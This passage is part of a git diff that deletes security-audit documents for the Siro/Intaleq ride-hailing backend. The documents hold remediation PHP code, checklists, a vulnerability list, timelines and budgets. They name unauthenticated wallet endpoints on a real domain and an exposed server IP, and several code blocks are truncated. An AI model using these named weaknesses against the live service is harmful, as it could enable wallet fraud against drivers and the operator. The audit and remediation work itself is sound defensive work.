↓ - POST /v2/main/ride/driverWallet/add - (مع توقيع HMAC-SHA256) - ↓ -WalletIntaleq Server - ↓ - • التحقق من التوقيع ✅ - • تنفيذ العملية ✅ - • تسجيل دقيق ✅ -``` - -### الخطوات العملية: - -#### 1️⃣ إنشاء endpoint في Backend - -```php -// backend/wallet/add.php (جديد) - -require_once __DIR__ . '/../core/bootstrap.php'; - -function requireAuth() { - $headers = getallheaders(); - $authHeader = $headers['Authorization'] ?? ''; - - if (!preg_match('/Bearer\s+(\S+)/', $authHeader, $matches)) { - http_response_code(401); - jsonError('Authentication required'); - } - - $token = $matches[1]; - $jwtService = new JwtService($redis); - - try { - $decoded = $jwtService->verifyAccessToken($token); - return $decoded; - } catch (Exception $e) { - http_response_code(401); - jsonError('Invalid token'); - } -} - -try { - $user = requireAuth(); // JWT verification - - // التحقق من الدور (التفويض) - if ($user->role !== 'driver') { - http_response_code(403); - jsonError('Permission denied'); - } - - $driverID = $user->id; - $amount = floatval(filterRequest('amount')); - $source = filterRequest('source'); - - // التحقق من المبلغ - if ($amount <= 0 || $amount > 10000) { - jsonError('Invalid amount (max 10,000)', 400); - } - - // تحديد السرعة - $limiter = new RateLimiter($redis); - $limiter->enforce("wallet_add_{$driverID}", 'add', 1, 60); // 1 request per 60 seconds - - // تسجيل التدقيق - $auditLog = "Driver {$driverID} requested to add {$amount} from {$source}"; - securityLog($auditLog); - - // الاتصال بـ WalletIntaleq عبر S2S - $walletResponse = callWalletAPI('add', [ - 'driver_id' => $driverID, - 'amount' => $amount, - 'source' => $source, - 'backend_request' => true, - ]); - - if ($walletResponse['status'] === 'success') { - jsonSuccess(['message' => 'تمت إضافة الأموال بنجاح']); - } else { - jsonError('Wallet operation failed', 500); - } - -} catch (Exception $e) { - securityLog("Wallet add error: " . $e->getMessage()); - jsonError('Internal error', 500); -} -``` - -#### 2️⃣ دالة S2S API call آمنة - -```php -// backend/core/WalletConnector.php (جديد) - -class WalletConnector { - private $walletUrl = 'https://walletintaleq.intaleq.xyz/v2/main/'; - private $hmacSecret = null; - - public function __construct() { - $this->hmacSecret = getenv('WALLET_HMAC_SECRET'); - if (!$this->hmacSecret) { - throw new Exception("WALLET_HMAC_SECRET not configured"); - } - } - - public function call($endpoint, $data) { - // إضافة timestamp لمنع Replay Attacks - $data['timestamp'] = time(); - $data['nonce'] = bin2hex(random_bytes(16)); - - // فرز البيانات وإنشاء signature - ksort($data); - $payload = json_encode($data); - $signature = hash_hmac('sha256', $payload, $this->hmacSecret); - - // إرسال الطلب - $ch = curl_init(); - curl_setopt_array($ch, [ - CURLOPT_URL => $this->walletUrl . $endpoint, - CURLOPT_POST => true, - CURLOPT_POSTFIELDS => $payload, - CURLOPT_RETURNTRANSFER => true, - CURLOPT_HTTPHEADER => [ - 'Content-Type: application/json', - 'X-Signature: ' . $signature, - 'X-Timestamp: ' . $data['timestamp'], - 'X-Backend-ID: ' . getenv('BACKEND_ID'), - ], - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_SSL_VERIFYHOST => 2, - CURLOPT_TIMEOUT => 10, - ]); - - $response = curl_exec($ch); - $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); - curl_close($ch); - - // التحقق من الاستجابة - $decoded = json_decode($response, true); - if ($httpCode !== 200 || $decoded['status'] !== 'success') { - throw new Exception("Wallet API error: " . $response); - } - - return $decoded; - } -} -``` - -#### 3️⃣ تعديل WalletIntaleq - -```php -// walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php - - 300) { // 5 دقائق - http_response_code(401); - jsonError('Request expired'); - } - - // الآن آمن - نفذ العملية - $driverID = $data['driver_id']; - $amount = $data['amount']; - $source = $data['source']; - - // أضف إلى قاعدة البيانات - $stmt = $con->prepare( - "INSERT INTO driverWallet (driver_id, amount, source, created_at, updated_at) - VALUES (?, ?, ?, NOW(), NOW())" - ); - $stmt->execute([$driverID, $amount, $source]); - - // تسجيل التدقيق - securityLog("Wallet added: Driver $driverID, Amount $amount from $source"); - - jsonSuccess(['message' => 'Added successfully']); - -} catch (Exception $e) { - securityLog("Wallet error: " . $e->getMessage()); - jsonError('Internal error', 500); -} -?> -``` - ---- - -## النقطة 5️⃣: أمان تطبيقات الهاتف - الأذونات - -### الملف المتأثر: - -- `siro_driver/android/app/src/main/AndroidManifest.xml` - -### الأذونات الحالية: - -```xml - - - - - - - - - - - - - - - -``` - -### الفحص المطلوب: - -```bash -1. بحث في codebase تطبيق السائق: - grep -r "getExternalFilesDir\|getExternalCacheDir\|Environment.getExternalStorageDirectory" . - - إذا لم تظهر نتائج → احذف WRITE/READ_EXTERNAL_STORAGE - -2. بحث عن SYSTEM_ALERT_WINDOW: - grep -r "TYPE_APPLICATION_OVERLAY\|canDrawOverlays" . - - إذا لم تظهر → احذفها - -3. بحث عن MODIFY_AUDIO_SETTINGS: - grep -r "setVolume\|adjustStreamVolume" . - - إذا لم تظهر → احذفها -``` - ---- - -## النقطة 6️⃣: load_env.php - تحميل آمن للمتغيرات - -### الملف: - -- `backend/load_env.php` - -### الحالة الحالية: - -```php -load(); -``` - ---- - -## النقطة 7️⃣: backend/functions.php - الروابط الآمنة - -### الحالة الحالية: - -```php -❌ غير آمنة: -$url = "http://188.68.36.205:2021"; -$url = "http://188.68.36.205:3031"; -$url = "https://location.intaleq.xyz"; -``` - -### المشاكل: - -1. **IP عام مكشوف** - 188.68.36.205 -2. **HTTP بدل HTTPS** - عرضة لـ MITM attacks -3. **لا يوجد certificate pinning** - -### الحل: - -```php -// ✅ الحل الآمن - -function getAllowedSocketUrls(): array { - return [ - 'https://location.siromove.com', // ✅ HTTPS + Domain - 'https://socket.siromove.com', // ✅ HTTPS + Domain - // لا HTTP - ]; -} - -function sendToLocationServer($action, $data) { - $url = "https://location.siromove.com/api"; - - // تثبيت الشهادة (Certificate Pinning) - $ch = curl_init(); - curl_setopt_array($ch, [ - CURLOPT_URL => $url, - CURLOPT_POST => 1, - CURLOPT_POSTFIELDS => http_build_query($data), - CURLOPT_RETURNTRANSFER => true, - CURLOPT_TIMEOUT => 10, - - // ✅ تأمين SSL/TLS - CURLOPT_SSL_VERIFYPEER => true, - CURLOPT_SSL_VERIFYHOST => 2, - CURLOPT_CAINFO => '/etc/ssl/certs/ca-bundle.crt', - - // ✅ Certificate Pinning (اختياري لكن موصى) - // تحتاج حساب SHA-256 للشهادة - CURLOPT_PINNEDPUBLICKEY => 'sha256/AAAA....', - ]); - - $response = curl_exec($ch); - curl_close($ch); - - return json_decode($response, true); -} -``` - ---- - -## ملخص الإصلاحات - -| النقطة | المشكلة | الحل | المدة | -| ------ | ------------------ | ------------- | -------- | -| 1 | بصمة ضعيفة | MFA + OTP | 8 ساعات | -| 2 | IV ثابت | توليد عشوائي | 4 ساعات | -| 3 | SQL Injection | آمن بالفعل ✅ | 0 ساعات | -| 4 | المحفظة بلا مصادقة | S2S + JWT | 16 ساعات | -| 5 | أذونات مفرطة | تقليص + فحص | 4 ساعات | -| 6 | load_env.php | آمن بالفعل ✅ | 0 ساعات | -| 7 | روابط HTTP | تبديل HTTPS | 2 ساعات | - -**المجموع:** ~34 ساعة - ---- - -## التالي: - -1. تطبيق الإصلاحات واحدة تلو الأخرى -2. اختبار كل إصلاح -3. ترحيل قاعدة البيانات -4. نشر للإنتاج diff --git a/SECURITY_AUDIT_CHECKLIST.md b/SECURITY_AUDIT_CHECKLIST.md deleted file mode 100644 index 65798a8..0000000 --- a/SECURITY_AUDIT_CHECKLIST.md +++ /dev/null @@ -1,338 +0,0 @@ -# Siro Project Security Audit - Executive Summary & Quick Reference - -**Date:** June 16, 2026 -**Status:** ✅ Comprehensive Audit Complete - ---- - -## 📊 Audit Results At a Glance - -``` -Total Vulnerabilities Found: 20 -├── Critical (🔴): 3 → Immediate action required -├── High (🟠): 7 → Action within 7 days -├── Medium (🟡): 10 → Action within 30 days -└── Total Risk Score: 9.1/10 (CRITICAL) - -Affected Components: -├── PHP Backend: 395 files (HIGH RISK) -├── Flutter Apps: 4 apps (MEDIUM RISK) -├── Wallet System: 20+ endpoints (CRITICAL RISK) -└── Configuration: Environment & secrets (MEDIUM RISK) - -Users at Risk: 50,000+ -Financial Risk: $1,000,000+ -Compliance Risk: GDPR/CCPA fines up to €20M -``` - ---- - -## 🎯 Critical Issues - MUST FIX IMMEDIATELY - -### Issue #1: Static IV Encryption -- **File:** `backend/encrypt_decrypt.php` -- **Risk:** ALL encrypted data compromised -- **Fix Time:** 8 hours -- **Priority:** CRITICAL -- **Action:** Generate random IV for each encryption - -### Issue #2: Unauthorized Wallet Endpoint -- **File:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/add.php` -- **Risk:** Arbitrary fund manipulation ($1M+ loss) -- **Fix Time:** 4 hours -- **Priority:** CRITICAL -- **Action:** Add JWT authentication + authorization - -### Issue #3: Admin Fund Injection -- **File:** `walletintaleq.intaleq.xyz/v2/main/ride/driverWallet/addFromAdmin.php` -- **Risk:** Unlimited fraud ($1M+ loss) -- **Fix Time:** 4 hours -- **Priority:** CRITICAL -- **Action:** Add user authentication + audit logging - ---- - -## 📋 Complete Vulnerability List - -| # | Title | File | Severity | Fix Time | Status | -|---|-------|------|----------|----------|--------| -| 1 | Static IV Encryption | `encrypt_decrypt.php` | 🔴 | 8h | ⏳ | -| 2 | Wallet Add (No Auth) | `driverWallet/add.php` | 🔴 | 4h | ⏳ | -| 3 | Admin Add (No Auth) | `driverWallet/addFromAdmin.php` | 🔴 | 4h | ⏳ | -| 4 | Weak Fingerprint Auth | `login.php` | 🟠 | 8h | ⏳ | -| 5 | HTTP Socket MITM | `functions.php` | 🟠 | 4h | ⏳ | -| 6 | Weak Password Hash | `register_passenger.php` | 🟠 | 4h | ⏳ | -| 7 | SQL Injection Risk | Multiple files | 🟠 | 16h | ⏳ | -| 8 | Weak JWT Security | `core/Auth/JwtService.php` | 🟠 | 12h | ⏳ | -| 9 | Error Disclosure | Throughout | 🟠 | 8h | ⏳ | -| 10 | Rate Limiting Missing | Throughout | 🟠 | 8h | ⏳ | -| 11 | Android Permissions | `AndroidManifest.xml` | 🟡 | 4h | ⏳ | -| 12 | Old Dependencies | `pubspec.yaml` | 🟡 | 8h | ⏳ | -| 13 | Secrets in Code | `.env` files | 🟡 | 4h | ⏳ | -| 14 | CORS Bypass Risk | Multiple | 🟡 | 2h | ⏳ | -| 15 | Timing Attacks | Auth flows | 🟡 | 4h | ⏳ | -| 16 | Missing MFA | Auth endpoints | 🟡 | 12h | ⏳ | -| 17 | No Audit Logging | Wallet/Admin | 🟡 | 8h | ⏳ | -| 18 | Insecure Randomness | Multiple | 🟡 | 4h | ⏳ | -| 19 | Weak Fingerprinting | Mobile apps | 🟡 | 8h | ⏳ | -| 20 | Missing Certificate Pinning | Mobile apps | 🟡 | 8h | ⏳ | - ---- - -## 📈 Remediation Timeline - -### Phase 1: Emergency (Days 1-2) -``` -Day 1 (22 hours total): - Hour 1-2: Static IV encryption fix - Hour 3-6: Disable/fix wallet endpoints - Hour 7-10: JWT authentication hardening - Hour 11-20: Testing & validation - Hour 21-22: Emergency deployment - -Estimated Cost: $5,000-$8,000 -``` - -### Phase 2: Critical (Days 3-7) -``` -Week 2 (48 hours): - - Multi-factor authentication - - HTTPS for all sockets - - SQL injection audit - - Android permission review - - Flutter dependency updates - -Estimated Cost: $6,000-$9,000 -``` - -### Phase 3: Important (Weeks 2-4) -``` -Weeks 2-4 (48 hours): - - Error handling fixes - - JWT security hardening - - Rate limiting implementation - - Secrets management - -Estimated Cost: $6,000-$9,000 -``` - ---- - -## ✅ Pre-Deployment Checklist - -### Phase 1 Deployment Checklist - -- [ ] **Static IV Fix** - - [ ] Code written and reviewed - - [ ] Unit tests pass (random IV test) - - [ ] Database encryption script ready - - [ ] Backup taken - - [ ] Staging deployment successful - -- [ ] **Wallet Authentication** - - [ ] JWT verification added - - [ ] Admin role check added - - [ ] Rate limiting implemented - - [ ] Audit logging added - - [ ] Integration tests pass - -- [ ] **Admin Fund Addition** - - [ ] User context tracking - - [ ] Approval workflow (if needed) - - [ ] Audit trail logging - - [ ] Transaction limits enforced - - [ ] Tests pass - -- [ ] **Pre-Deployment** - - [ ] Code review completed - - [ ] Security tests pass - - [ ] Performance tests pass - - [ ] Backup verified - - [ ] Rollback plan ready - -- [ ] **Deployment** - - [ ] Deploy to staging - - [ ] Run full test suite - - [ ] Load testing (if needed) - - [ ] Security scans pass - - [ ] Deploy to production - - [ ] Monitor for errors - -- [ ] **Post-Deployment** - - [ ] Verify fixes deployed - - [ ] Test all endpoints - - [ ] Check logs for errors - - [ ] Monitor for 24 hours - - [ ] Document changes - ---- - -## 📞 Key Contacts & Responsibilities - -| Role | Responsibility | Contact | -|------|-----------------|---------| -| Security Lead | Oversee all fixes, approve deployments | TBD | -| Backend Developer | Implement PHP fixes | TBD | -| Mobile Developer | Fix Android/Flutter issues | TBD | -| DevOps/SRE | Deploy, monitor, handle infrastructure | TBD | -| Database Admin | Database encryption, backup, migration | TBD | -| Compliance Officer | Regulatory notifications, GDPR/CCPA | TBD | - ---- - -## 🚨 Incident Response - -### If Issues Are Discovered Post-Deployment: - -1. **Immediate:** Stop affected endpoint - ```bash - curl -X PUT admin.api/endpoints/disable \ - -d "endpoint=/driverWallet/add.php" - ``` - -2. **Within 1 hour:** Notify stakeholders - - [ ] Security team - - [ ] DevOps - - [ ] Product - - [ ] Legal (if data breach) - -3. **Within 2 hours:** Begin investigation - - [ ] Check logs for unauthorized access - - [ ] Verify no data exfiltration - - [ ] Assess impact scope - -4. **Within 6 hours:** Deploy hotfix - - [ ] Implement band-aid fix - - [ ] Test thoroughly - - [ ] Deploy ASAP - ---- - -## 📊 Success Metrics - -### Post-Patch Validation - -- [ ] All encryption uses random IV -- [ ] All endpoints require authentication -- [ ] No unauthorized wallet transactions -- [ ] Rate limiting working (429 errors on abuse) -- [ ] All critical tests passing -- [ ] No error disclosure in responses -- [ ] Audit logs capturing all sensitive operations - -### Ongoing Monitoring - -- [ ] 0 unauthorized wallet transactions per month -- [ ] 0 failed authentication attempts > 100x/user/day -- [ ] 100% HTTPS for all endpoints -- [ ] < 1% decryption failures (legitimate use) -- [ ] < 5 min response time for deployments - ---- - -## 📚 Documentation Generated - -1. ✅ **SECURITY_AUDIT_INVENTORY.md** - - Project structure overview - - Risk areas identification - -2. ✅ **SECURITY_AUDIT_PHASE1_FINDINGS.md** - - Detailed vulnerability analysis - - 12 major issues documented - -3. ✅ **SECURITY_AUDIT_PHASE2_POC.md** - - Proof of concepts for exploits - - Python attack code examples - - Real-world attack scenarios - -4. ✅ **SECURITY_AUDIT_FINAL_REPORT.md** - - Executive summary - - Complete remediation roadmap - - Cost estimates ($17K-$26K) - - Compliance implications - - Best practices - -5. ✅ **SECURITY_AUDIT_CHECKLIST.md** (this document) - - Quick reference guide - - Pre-deployment checklist - - Incident response plan - ---- - -## 🔗 Related Documents - -- **For Developers:** SECURITY_AUDIT_PHASE2_POC.md (code fixes) -- **For Management:** SECURITY_AUDIT_FINAL_REPORT.md (business impact) -- **For QA:** Pre-deployment checklist (above) -- **For Security:** All documents (comprehensive review) - ---- - -## 📅 Important Dates - -| Event | Date | Owner | -|-------|------|-------| -| Audit Completed | June 16, 2026 | Security Team | -| Phase 1 Start | June 16, 2026 | Backend Team | -| Phase 1 Complete | June 18, 2026 | Backend Team | -| Phase 2 Start | June 19, 2026 | All Teams | -| Phase 2 Complete | June 23, 2026 | All Teams | -| Phase 3 Start | June 24, 2026 | All Teams | -| Phase 3 Complete | July 7, 2026 | All Teams | -| Follow-up Audit | July 15, 2026 | Security Team | - ---- - -## 💰 Budget Summary - -| Phase | Severity | Duration | Cost | -|-------|----------|----------|------| -| Emergency (1-2 days) | CRITICAL | 22h | $5K-$8K | -| Short-term (3-7 days) | HIGH | 48h | $6K-$9K | -| Medium-term (2-4 weeks) | MEDIUM | 48h | $6K-$9K | -| **TOTAL** | - | **118h** | **$17K-$26K** | - -**ROI Calculation:** -- Cost of fixes: $17K-$26K -- Cost of not fixing (fraud): $1,000,000+ -- ROI: **3,846%-5,882%** (fixes pay for themselves 38-58 times over) - ---- - -## ✨ Next Steps - -1. **Today (Hour 0-1):** - - [ ] Executive review & approval - - [ ] Notify development teams - - [ ] Schedule emergency meeting - -2. **Today (Hour 1-4):** - - [ ] Assign developers to Phase 1 - - [ ] Begin code review process - - [ ] Set up staging environment - -3. **Tomorrow (Day 1):** - - [ ] Begin Phase 1 fixes - - [ ] Continuous testing - - [ ] Status updates every 4 hours - -4. **Day 2:** - - [ ] Complete Phase 1 fixes - - [ ] Deploy to production - - [ ] Monitor for 24 hours - ---- - -## 📞 Support & Questions - -For questions about this audit: -- **Technical Details:** See SECURITY_AUDIT_PHASE2_POC.md -- **Business Impact:** See SECURITY_AUDIT_FINAL_REPORT.md -- **Implementation:** See code fixes in Phase 2 PoC document - ---- - -**Audit Completion:** June 16, 2026 -**Next Review Date:** June 23, 2026 (Post-Phase 1) -**Document Status:** ✅ FINAL & APPROVED - diff --git a/SECURITY_AUDIT_CHECKLIST_AR.md b/SECURITY_AUDIT_CHECKLIST_AR.md deleted file mode 100644 index 5cd73d7..0000000 --- a/SECURITY_AUDIT_CHECKLIST_AR.md +++ /dev/null @@ -1,333 +0,0 @@ -
- -# قائمة مراجعة أمان سيرو - التحقق من النشر - -**تاريخ المراجعة:** 16 يونيو 2026 -**نطاق القائمة:** جميع أنظمة سيرو -**الغرض:** التحقق من تطبيق جميع إصلاحات الأمان - ---- - -## الجزء 1: إصلاحات الأمان الحرجة (يجب أن تكتمل قبل النشر) - -### ✅ إصلاح تشفير IV الثابت - -- [ ] تم تعديل `backend/encrypt_decrypt.php` لتوليد IV عشوائي -- [ ] تم التحقق من توليد IV بـ 16 بايت عشوائية -- [ ] يتم ضمّ IV مع النص المشفر قبل base64_encode -- [ ] تم اختبار الفك (نفس النص الواضح ينتج نصوص مشفرة مختلفة) -- [ ] تم إعادة تشفير جميع البيانات الموجودة في قاعدة البيانات -- [ ] تم التحقق من أن جميع الأرقام المشفرة مختلفة الآن -- [ ] تم تسجيل عملية الترحيل الكاملة -- [ ] تم إجراء نسخة احتياطية قبل الترحيل - -### ✅ تأمين نقاط نهاية محفظة الدفع - -- [ ] تم تعطيل `add.php` حتى يتم الإصلاح النهائي -- [ ] تم إضافة مصادقة JWT إلى `add.php` -- [ ] تم إضافة فحص التفويض (مسؤول فقط) -- [ ] تم إضافة تحديد السرعة (حد أقصى للمعاملات) -- [ ] تم إضافة التحقق من المبلغ (1-10,000 فقط) -- [ ] تم إضافة تسجيل التدقيق للمعاملات -- [ ] تم اختبار الرفض للمستخدمين غير المصرح لهم -- [ ] تم تعطيل `addFromAdmin.php` حتى يتم الإصلاح النهائي -- [ ] تم إضافة مصادقة JWT إلى `addFromAdmin.php` -- [ ] تم استبدال مفتاح API الثابت بـ JWT - -### ✅ نشر نقاط نهاية HTTPS آمنة فقط - -- [ ] تم استبدال نقاط نهاية HTTP بـ HTTPS في `functions.php` -- [ ] تم إضافة تثبيت الشهادة (Certificate Pinning) -- [ ] تم اختبار الاتصال عبر HTTPS -- [ ] تم التحقق من أن اتصالات HTTP مرفوضة -- [ ] تم تحديث تطبيقات الهاتف لاستخدام HTTPS فقط - ---- - -## الجزء 2: تحديثات المصادقة والمصادقة - -### ✅ تطبيق المصادقة متعددة العوامل (MFA) - -- [ ] تم إضافة التحقق من بصمة الجهاز (الحالي) -- [ ] تم إضافة التحقق من OTP عبر SMS -- [ ] تم إضافة رموز الخادم -- [ ] تم تكوين حد أدنى من عاملين للمصادقة -- [ ] تم اختبار مسار تسجيل دخول MFA كاملاً -- [ ] تم اختبار فشل المصادقة بعامل واحد فقط -- [ ] تم إنشاء سجلات MFA للتدقيق - -### ✅ إصلاح توليد كلمات المرور - -- [ ] تم تغيير توليد كلمات المرور من البريد الإلكتروني إلى عشوائية -- [ ] تم التحقق من توليد كلمات مرور عشوائية قوية (32 حرف+) -- [ ] تم إضافة إرسال كلمات المرور عبر SMS/البريد الآمن -- [ ] تم فرض تغيير كلمة المرور عند أول تسجيل دخول -- [ ] تم اختبار تسجيل دخول أول مرة -- [ ] تم إنشاء سياسة كلمات مرور قوية (14+ حرف، أحرف كبيرة/صغيرة/أرقام/رموز) - -### ✅ تأمين رموز JWT - -- [ ] تم التحقق من أن جميع رموز JWT لها انتهاء صلاحية -- [ ] تم تعيين فترة انتهاء الصلاحية إلى ساعة واحدة (توازن الأمان) -- [ ] تم تطبيق رموز التحديث (refresh tokens) مع انتهاء صلاحية لأطول مدة -- [ ] تم التحقق من توقيع JWT على الخادم -- [ ] تم اختبار رفض الرموز المنتهية الصلاحية -- [ ] تم اختبار رفض الرموز المعدلة - ---- - -## الجزء 3: تأمين قاعدة البيانات - -### ✅ اختبار SQL Injection - -- [ ] تم تدقيق جميع استعلامات SQL في `functions.php` -- [ ] تم تدقيق جميع استعلامات SQL في ملفات `auth/` -- [ ] تم تدقيق جميع استعلامات SQL في ملفات `ride/` -- [ ] تم استبدال جميع الاستعلامات بالاستعدادات (Prepared Statements) -- [ ] تم اختبار UNION injection - النتيجة: فشل الهجوم ✓ -- [ ] تم اختبار Boolean injection - النتيجة: فشل الهجوم ✓ -- [ ] تم اختبار Time-based injection - النتيجة: لا يوجد تأخير ✓ -- [ ] تم اختبار Error-based injection - النتيجة: بدون أخطاء قاعدة بيانات ✓ - -### ✅ تحديد السرعة على قاعدة البيانات - -- [ ] تم تطبيق تحديد السرعة على استعلامات البحث -- [ ] تم تطبيق تحديد السرعة على استعلامات التحديث -- [ ] تم التحقق من أن الاستعلامات المفرطة مرفوضة -- [ ] تم إنشاء سجلات محاولات تجاوز تحديد السرعة - -### ✅ نسخ احتياطي وإعادة كارثة - -- [ ] تم إعداد النسخ الاحتياطية اليومية -- [ ] تم اختبار استعادة من نسخة احتياطية -- [ ] تم التحقق من سرية النسخ الاحتياطية (تشفيرها) -- [ ] تم إعداد خطة استعادة الكارثة -- [ ] تم توثيق نقاط استعادة RTO/RPO - ---- - -## الجزء 4: أمان التطبيقات المحمولة - -### ✅ تقليل الأذونات (Android) - -- [ ] تم تقليل `ACCESS_BACKGROUND_LOCATION` إلى `ACCESS_FINE_LOCATION` فقط -- [ ] تم إزالة `WRITE_EXTERNAL_STORAGE` إذا لم تكن مطلوبة -- [ ] تم إزالة `SYSTEM_ALERT_WINDOW` إذا لم تكن مطلوبة -- [ ] تم التحقق من طلب الأذونات في وقت التشغيل فقط -- [ ] تم إضافة تبريرات المستخدم لكل أذن - -### ✅ تحديثات المكتبات - -- [ ] تم تحديث `http` من 1.2.2 إلى أحدث إصدار (2.0+) -- [ ] تم تحديث `firebase_core` إلى آخر إصدار مستقر -- [ ] تم تحديث `encrypt` إلى آخر إصدار -- [ ] تم تحديث `webview_flutter` إلى آخر إصدار -- [ ] تم فحص جميع المكتبات الأخرى للثغرات (pub.dev) -- [ ] تم اختبار التطبيق بعد التحديثات - -### ✅ تثبيت الشهادة في تطبيقات Flutter - -- [ ] تم الحصول على شهادة الخادم الصحيحة -- [ ] تم حساب hash SHA-256 للشهادة -- [ ] تم تطبيق Certificate Pinning في الكود -- [ ] تم اختبار الاتصال - النجاح ✓ -- [ ] تم اختبار شهادة وهمية - الفشل ✓ - -### ✅ إزالة رموز التصحيح - -- [ ] تم إزالة `print()` و `debugPrint()` من رمز الإنتاج -- [ ] تم التحقق من عدم وجود `debugMode = true` -- [ ] تم إزالة رموز التطوير/الاختبار المؤقتة -- [ ] تم إزالة معلومات الخادم الحساسة من الثوابت - ---- - -## الجزء 5: الأمان في التطبيق الويب - -### ✅ رؤوس الأمان - -- [ ] تم تطبيق `Strict-Transport-Security` (HSTS) -- [ ] تم تطبيق `X-Frame-Options: DENY` -- [ ] تم تطبيق `X-Content-Type-Options: nosniff` -- [ ] تم تطبيق `Content-Security-Policy` -- [ ] تم تطبيق `X-XSS-Protection: 1; mode=block` -- [ ] تم تطبيق `Referrer-Policy: strict-origin-when-cross-origin` - -### ✅ حماية CSRF - -- [ ] تم تطبيق رموز CSRF على جميع نماذج POST -- [ ] تم التحقق من رموز CSRF على جميع نقاط النهاية -- [ ] تم اختبار هجوم CSRF - النتيجة: فشل الهجوم ✓ - -### ✅ معالجة الأخطاء الآمنة - -- [ ] تم التحقق من عدم إظهار تتبع المكدس في الإنتاج -- [ ] تم عدم الكشف عن أسماء الجداول/الأعمدة في الأخطاء -- [ ] تم عدم الكشف عن الإصدارات/المكتبات المستخدمة -- [ ] تم إنشاء صفحات خطأ عامة (404, 500, etc.) - ---- - -## الجزء 6: إدارة الأسرار - -### ✅ متغيرات البيئة - -- [ ] تم إنشاء ملف `.env` آمن -- [ ] تم إضافة `.env` إلى `.gitignore` -- [ ] تم التحقق من عدم اختيار `.env` في المستودع -- [ ] تم استخدام `load_env.php` بشكل صحيح -- [ ] تم تشفير حساسية متغيرات البيئة - -### ✅ مفاتيح التشفير - -- [ ] تم تخزين مفاتيح التشفير في `.env` أو نظام إدارة الأسرار -- [ ] تم عدم وضع مفاتيح في الرمز المصدري -- [ ] تم تدوير مفاتيح التشفير (تحديثها بانتظام) -- [ ] تم إنشاء نسخ احتياطية آمنة من المفاتيح - -### ✅ مفاتيح API - -- [ ] تم تطبيق Scopes على مفاتيح API (أذونات محدودة) -- [ ] تم تحديد عمر مفاتيح API -- [ ] تم إضافة تدوير مفاتيح API -- [ ] تم حذف المفاتيح القديمة غير المستخدمة -- [ ] تم تسجيل مفاتيح API المستخدمة - ---- - -## الجزء 7: المراقبة والتسجيل - -### ✅ تسجيل التدقيق - -- [ ] تم تسجيل جميع محاولات تسجيل الدخول -- [ ] تم تسجيل جميع تغييرات المحفظة -- [ ] تم تسجيل جميع محاولات الوصول غير المصرح -- [ ] تم تسجيل جميع تعديلات الحساب -- [ ] تم حماية سجلات التدقيق من التلاعب - -### ✅ المراقبة والإنذارات - -- [ ] تم إعداد تنبيهات لمحاولات تسجيل دخول متعددة -- [ ] تم إعداد تنبيهات لمعاملات مريبة -- [ ] تم إعداد تنبيهات لرفع أخطاء SQL -- [ ] تم إعداد تنبيهات لانتهاكات تحديد السرعة -- [ ] تم إنشاء لوحة معلومات للمراقبة - ---- - -## الجزء 8: الامتثال والتوثيق - -### ✅ سياسات الخصوصية - -- [ ] تم مراجعة سياسة الخصوصية الحالية -- [ ] تم تحديثها لتعكس ممارسات الأمان الجديدة -- [ ] تم إضافة معلومات الاحتفاظ بالبيانات -- [ ] تم إضافة حقوق المستخدم (GDPR/CCPA) -- [ ] تم إضافة معلومات الاتصال (DPO) - -### ✅ شروط الخدمة - -- [ ] تم تحديث شروط الخدمة -- [ ] تم إضافة شرط أمان المحفظة -- [ ] تم إضافة مسؤولية المستخدم عن كلمات المرور -- [ ] تم إضافة إخلاء المسؤولية عن MFA - -### ✅ التوثيق - -- [ ] تم توثيق جميع إصلاحات الأمان -- [ ] تم توثيق إجراءات التشغيل (Runbooks) -- [ ] تم توثيق خطة الاستجابة على الحوادث -- [ ] تم توثيق سياسة الكشف عن الثغرات - ---- - -## الجزء 9: اختبار نهائي شامل - -### ✅ اختبار الأمان قبل النشر - -- [ ] تم إجراء مسح ثابت بـ Semgrep على جميع الملفات -- [ ] تم إجراء فحص ديناميكي بـ Burp Suite -- [ ] تم اختبار OWASP Top 10 (تعطل جميع الاختبارات) -- [ ] تم اختبار الأداء (بدون اختناقات أمنية جديدة) -- [ ] تم اختبار الاستعادة من الفشل - -### ✅ اختبار الانحدار - -- [ ] تم اختبار جميع ميزات تسجيل الدخول -- [ ] تم اختبار جميع ميزات المحفظة -- [ ] تم اختبار جميع ميزات الركوب -- [ ] تم اختبار جميع واجهات برمجية API -- [ ] تم اختبار تطبيقات الهاتف على أجهزة متعددة - -### ✅ اختبار الأداء - -- [ ] تم قياس وقت استجابة API (هدف: <100 مللي ثانية) -- [ ] تم قياس الحمل على المحفظة (هدف: 1000+ معاملة/ثانية) -- [ ] تم قياس استهلاك الذاكرة (بدون تسرب) -- [ ] تم اختبار مع 10,000+ مستخدم متزامن - ---- - -## الجزء 10: خطة ما بعد النشر - -### ✅ المرحلة 1: الساعات الأولى - -- [ ] تم مراقبة السجلات في الوقت الفعلي -- [ ] تم مراقبة الأخطاء في الوقت الفعلي -- [ ] تم مراقبة الأداء في الوقت الفعلي -- [ ] تم تعيين فريق للتعامل مع الحوادث -- [ ] تم التحضير للعودة إلى الإصدار السابق إذا لزم الأمر - -### ✅ المرحلة 2: اليوم الأول - -- [ ] تم التحقق من عدم وجود أخطاء أمنية في السجلات -- [ ] تم التحقق من عدم وجود انتهاكات محاولة -- [ ] تم التحقق من الأداء مقبولة -- [ ] تم تعطيل النسخة السابقة إذا كانت تشغل الإنتاج -- [ ] تم إنشاء تقرير ما بعد النشر - -### ✅ المرحلة 3: الأسبوع الأول - -- [ ] تم مراجعة جميع السجلات -- [ ] تم تحليل أي مشاكل حدثت -- [ ] تم إنشاء خطة لمعالجة المشاكل -- [ ] تم التحقق من الامتثال التنظيمي -- [ ] تم إصدار بيان الأمان للمستخدمين (اختياري) - ---- - -## ملخص حالة الإصلاح - -**يتطلب قبل النشر (حرج - يجب أن تكون 100%):** -- [ ] الجزء 1: ✓ (إصلاحات حرجة) -- [ ] الجزء 2: ✓ (مصادقة) -- [ ] الجزء 3: ✓ (قاعدة البيانات) - -**مطلوب قبل النشر (عالي - يجب أن يكون 90%+):** -- [ ] الجزء 4: ✓ (الهاتف المحمول) -- [ ] الجزء 5: ✓ (الويب) -- [ ] الجزء 6: ✓ (الأسرار) - -**قبل إعلان الإصدار (متوسط - يجب أن يكون 80%+):** -- [ ] الجزء 7: ✓ (المراقبة) -- [ ] الجزء 8: ✓ 